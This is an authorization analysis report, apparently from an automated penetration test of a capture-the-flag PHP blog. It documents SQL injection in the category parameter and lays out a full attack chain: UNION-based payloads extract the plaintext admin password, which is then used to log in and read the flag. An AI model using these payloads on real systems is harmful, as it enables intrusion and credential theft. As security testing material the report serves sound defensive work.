# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence authorization vulnerability (vertical privilege escalation via SQL injection) has been identified and recorded. All findings have been passed to the exploitation phase via the machine-readable exploitation queue.  
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and architectural intelligence necessary to effectively exploit the vulnerability listed in the queue. It is intended to be read alongside the JSON deliverable.

**Analysis Scope:**
This analysis focused exclusively on authorization vulnerabilities exploitable via **http://localhost:34389** from the public internet without requiring internal network access, VPN, or direct server access. The application was systematically analyzed across three authorization vulnerability categories:

1. **Horizontal Privilege Escalation:** Access to other users' private resources
2. **Vertical Privilege Escalation:** Elevation from anonymous to admin role
3. **Context-Based Authorization:** Workflow bypass vulnerabilities

**Critical Finding:**
The application contains **one critical externally-exploitable authorization vulnerability**: vertical privilege escalation via SQL injection. An unauthenticated attacker can extract admin credentials from the database and escalate to full admin privileges, accessing the protected FLAG resource. This represents a complete bypass of the application's authorization controls.

**Excluded Findings:**
Session fixation vulnerability exists but was excluded from the exploitation queue because it requires social engineering or man-in-the-middle positioning, which does not meet the external exploitability criteria.

## 2. Dominant Vulnerability Patterns

### Pattern 1: SQL Injection as Authorization Bypass (Vertical)

- **Description:** The category filter parameter accepts user input without sanitization and concatenates it directly into SQL queries, allowing complete database access. This enables credential extraction, which can be used to authenticate as admin and access protected resources.

- **Implication:** An anonymous user can escalate to admin privileges by:
  1. Exploiting SQL injection to extract admin credentials from the `users` table
  2. Authenticating with extracted credentials at `/admin.php`
  3. Establishing admin session (`$_SESSION['admin_logged_in'] = true`)
  4. Accessing the protected FLAG resource

- **Root Cause:** Missing input validation and parameterized queries at the database access layer. The application trusts user input without verifying the requester has authorization to access sensitive database tables.

- **Representative:** AUTHZ-VULN-01

## 3. Strategic Intelligence for Exploitation

### Session Management Architecture

- **Session Type:** PHP native sessions with file-based storage (default /tmp)
- **Session Identifier:** PHPSESSID cookie (HttpOnly enabled by default)
- **Session Start:** `session_start()` called at `admin.php:2`
- **Session Variable:** `$_SESSION['admin_logged_in']` (boolean) - single authorization flag
- **Session Lifetime:** Default PHP garbage collection (24 minutes inactivity)
- **Critical Gaps:** 
  - No session regeneration after authentication (session fixation risk)
  - No Secure flag (transmitted over HTTP)
  - No explicit session timeout
  - No logout functionality

### Role/Permission Model

- **Roles Identified:** Two-state binary model
  - `anon` (anonymous/unauthenticated) - privilege level 0
  - `admin` (authenticated) - privilege level 10
  
- **Role Storage:** Session-based only (no database role column)
  
- **Role Assignment:** Set at `admin.php:25` after successful credential validation
  
- **Authorization Check:** Single point at `admin.php:5`
  ```php
  if (isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true)
  ```

- **Critical Findings:**
  - No role-based access control (RBAC)
  - No granular permissions
  - No middleware or authorization decorators
  - Binary privilege model (no intermediate roles)

### Resource Access Patterns

- **Admin Resource:** FLAG disclosure at `/admin.php` (GET with authenticated session)
- **Public Resources:** Blog posts at `/index.php` (filtered by `published = 1`)
- **Database Tables:** 3 tables (posts, comments, users)

- **Critical Findings:**
  - No user-owned resources (posts have no author_id)
  - No object IDs in URL parameters (no `/posts/{id}` pattern)
  - Single admin user exists (username: `admin`)
  - Credentials stored in plaintext (`ONEverySecurePassword123!`)

### Authentication Implementation

- **Mechanism:** Username/password with database validation
- **Credential Storage:** Plaintext in `users` table (no password hashing)
- **Authentication Query:** `admin.php:20`
  ```php
  SELECT id FROM users WHERE username = '$username' AND password = '$password'
  ```
  
- **Credential Sanitization:** `mysqli_real_escape_string()` applied to username and password (partial protection)

- **Critical Findings:**
  - No password hashing (plaintext storage)
  - No rate limiting (brute force possible)
  - No account lockout
  - No multi-factor authentication
  - String concatenation used (not prepared statements)

### Database Architecture

- **Engine:** MySQL 5.7 (approaching EOL)
- **Connection:** MySQLi extension (object-oriented)
- **Credentials:** Hardcoded in source (`user:password`)
- **Network:** Internal Docker bridge (port 3306 not published to host)

- **Schema:**
  - `users` table: id, username, password (1 user: admin)
  - `posts` table: id, title, content, category, image, published, created_at (11 posts, 1 unpublished)
  - `comments` table: id, post_id, comment, created_at (empty)

- **Critical Findings:**
  - Credentials committed to version control
  - No encryption at rest or in transit
  - No database connection pooling or security hardening
  - Legacy `mysql_native_password` plugin

### SQL Injection Attack Surface

- **Primary Vector:** `/index.php?category={payload}`
- **Entry Point:** `index.php:37` - `$category = isset($_GET['category']) ? $_GET['category'] : '';`
- **Sink:** `index.php:45` - `$sql .= "and category = '" . $category . "' ";`
- **Sanitization:** None (blacklist only blocks exact string "Secret")
- **Query Type:** SELECT with 7 columns in result set
- **Exploitation Method:** UNION-based SQL injection

**Full Query Construction:**
```php
$sql = "SELECT * FROM posts WHERE published = 1 ";
if ($category == "Secret")
    $category = "";
if (!empty($category)) {
    $sql .= "and category = '" . $category . "' ";
}
$sql .= "ORDER BY created_at DESC";
```

**Injection Point:** The `$category` variable is concatenated directly without escaping

**Result Rendering:** Results displayed at `index.php:56-63` (no output encoding - also creates stored XSS risk)

### Attack Chain for Vertical Privilege Escalation

**Step-by-step exploitation path:**

1. **Reconnaissance** - Verify SQL injection vulnerability:
   ```
   GET /index.php?category=' OR '1'='1
   ```
   Expected: All posts displayed (confirms injection)

2. **Credential Extraction** - UNION-based injection:
   ```
   GET /index.php?category=' UNION SELECT id,username,password,NULL,NULL,NULL,NULL FROM users-- -
   ```
   Expected: Admin credentials displayed in blog post output
   - Username: `admin`
   - Password: `ONEverySecurePassword123!`

3. **Authentication** - Submit extracted credentials:
   ```
   POST /admin.php
   Content-Type: application/x-www-form-urlencoded
   
   username=admin&password=ONEverySecurePassword123!
   ```
   Expected: Session created with `admin_logged_in=true`, PHPSESSID cookie returned

4. **Access Protected Resource** - Use admin session:
   ```
   GET /admin.php
   Cookie: PHPSESSID={session_id}
   ```
   Expected: FLAG disclosed

**Critical Success Factors:**
- All steps executable remotely via HTTP
- No CAPTCHA or rate limiting
- No IP allowlisting or geofencing
- Credentials stored in plaintext (no cracking required)
- Session persists for 24 minutes (ample time)

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have robust, properly-placed guards. They are **low-priority** for further testing.

| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `GET /admin.php` (authenticated) | admin.php:5 | Session check with strict equality (`isset()` + `=== true`) before FLAG disclosure | SAFE |
| `POST /admin.php` (authentication) | admin.php:20-23 | Credential validation with `mysqli_real_escape_string()` before session creation | SAFE (partial mitigation) |
| `GET /index.php` (public posts) | index.php:39 | Query filters by `published = 1` (appropriate for public endpoint) | SAFE |
| `GET /styles.css` | Apache | Static file serving (no authorization required by design) | SAFE |
| `GET /images/*` | Apache | Static image directory (public resources) | SAFE |

**Additional Safe Patterns Identified:**

1. **No Horizontal Privilege Escalation Opportunities:**
   - Only one user exists in database (admin)
   - No user-owned resources (posts lack author_id foreign key)
   - No object IDs in URL parameters
   - No endpoints accepting user IDs
   - **Conclusion:** Horizontal privilege escalation is not applicable

2. **No Context-Based Authorization Vulnerabilities:**
   - No multi-step workflows exist
   - No checkout/payment flows
   - No onboarding/approval processes
   - Authentication is single-step (submit credentials → immediate decision)
   - No state transitions requiring validation
   - **Conclusion:** Context-based bypass is not applicable

3. **Session-Based Authorization Guard (admin.php:5):**
   - Properly placed BEFORE side effect (FLAG disclosure)
   - Dominates all code paths to protected resource
   - Uses strict type checking (`=== true`)
   - Implements fail-closed security (no access if check fails)
   - **Conclusion:** Direct session bypass is not possible

## 5. Analysis Constraints and Blind Spots

### Out-of-Scope Vulnerabilities

The following vulnerabilities were identified during analysis but excluded from the exploitation queue because they do not meet the external exploitability criteria:

1. **Session Fixation (admin.php:25)**
   - **Vulnerability:** Missing `session_regenerate_id()` after authentication
   - **Impact:** Attacker can hijack victim's session after victim authenticates
   - **Exclusion Reason:** Requires social engineering (victim must click attacker's link with preset session ID) or man-in-the-middle positioning, which are outside the "exploitable from internet via HTTP" scope
   - **Alternative:** SQL injection provides the same outcome (admin access) without social engineering

2. **Session Hijacking via HTTP**
   - **Vulnerability:** Application runs on HTTP only, PHPSESSID cookie lacks Secure flag
   - **Impact:** Session cookie can be intercepted in plaintext
   - **Exclusion Reason:** Requires network man-in-the-middle position

3. **Brute Force Authentication**
   - **Vulnerability:** No rate limiting, no account lockout
   - **Impact:** Automated credential guessing possible
   - **Exclusion Reason:** SQL injection provides faster path to credentials (extraction vs. guessing)

### Infrastructure Limitations

- **Single Application Scope:** Analysis limited to PHP application code; underlying OS, Apache, PHP interpreter, and MySQL server vulnerabilities were not assessed
  
- **Build-Time Secrets:** FLAG injected at Docker build time via `.env` file; this file is in version control but not accessible via HTTP endpoints

- **Static Analysis Only:** Runtime behavior, timing attacks, and race conditions were not evaluated

- **Network Architecture:** Internal Docker networking and container isolation were not penetration tested

### Coverage Completeness

**All endpoints from reconnaissance report analyzed:**

- ✅ `/index.php` (public blog listing)
- ✅ `/index.php?category={value}` (category filter)
- ✅ `/admin.php` GET (login form / FLAG display)
- ✅ `/admin.php` POST (authentication processing)
- ✅ `/styles.css` (static resource)
- ✅ `/images/*` (static resources)

**All authorization categories covered:**

- ✅ Horizontal privilege escalation (Section 8.1 of recon)
- ✅ Vertical privilege escalation (Section 8.2 of recon)
- ✅ Context-based authorization (Section 8.3 of recon)

**All identified users/roles analyzed:**

- ✅ Anonymous (unauthenticated)
- ✅ Admin (authenticated)

### Assumptions Made

1. **Database State:** Analysis assumes database is initialized per `db_init.sql` with default seed data (1 admin user, 11 posts, 0 comments)

2. **No Code Changes:** Analysis assumes application code matches reconnaissance snapshot; runtime modifications or patches not accounted for

3. **Default Configuration:** Analysis assumes default PHP 7.4 and MySQL 5.7 configurations per Dockerfile and docker-compose.yml

4. **Network Accessibility:** Analysis assumes application is accessible at `http://localhost:34389` without firewall restrictions

5. **No Additional Security Controls:** Analysis assumes no Web Application Firewall (WAF), Intrusion Detection System (IDS), or reverse proxy security features beyond basic Caddy proxy

---

**END OF AUTHORIZATION ANALYSIS REPORT**